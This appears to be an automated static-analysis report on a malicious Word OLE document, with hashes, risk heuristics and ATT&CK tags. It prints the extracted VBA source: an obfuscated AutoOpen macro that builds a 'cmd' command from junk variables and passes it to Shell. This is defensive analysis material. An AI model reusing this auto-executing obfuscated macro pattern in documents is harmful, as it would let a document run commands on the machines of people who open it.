Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 c156f679e55fdcaa…

MALICIOUS

Office (OLE)

91.9 KB First seen: 2019-03-10
MD5: bf0ff883a6b2cc40f6a4aa6a0faa1d21 SHA-1: fa5f93b7606af7138811681fa51076e719f572e9 SHA-256: c156f679e55fdcaada19ff72d1b3c67e2d637b54c3cb66a42792ca332851c69a
82 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is a malicious Office document containing a VBA macro with an AutoOpen subroutine. This macro attempts to execute a command using the Shell function, likely to download and run a second-stage payload. The specific command executed is obfuscated but appears to involve 'cmda.exe'.

Heuristics 4

  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 669 bytes
SHA-256: aa7b520cb7bc128312eba18060bd2fcb334041930625adecc34dcc5a92c3dd4f
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "okomIHPwQ"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
On Error Resume Next
   TypeName CLng(5)
   TypeName CDbl(hfiRhz)
   TypeName Svuvp
   TypeName 6
   TypeName Atn(6)
   TypeName Sin(fSzbHl + iqiGJ - isOmw / qZzpZM)
Shell@ CStr("c") + CStr("m") + VdciGpRrUkG + dViqhcwQ + mAPzN + FvKNJS + mLucjjaWUQ + vfUuOZkCjkiiDC, 734103084 - 734103084
   TypeName CDate(dXPCdp + 91808)
   TypeName CStr(iZXDVt)
End Sub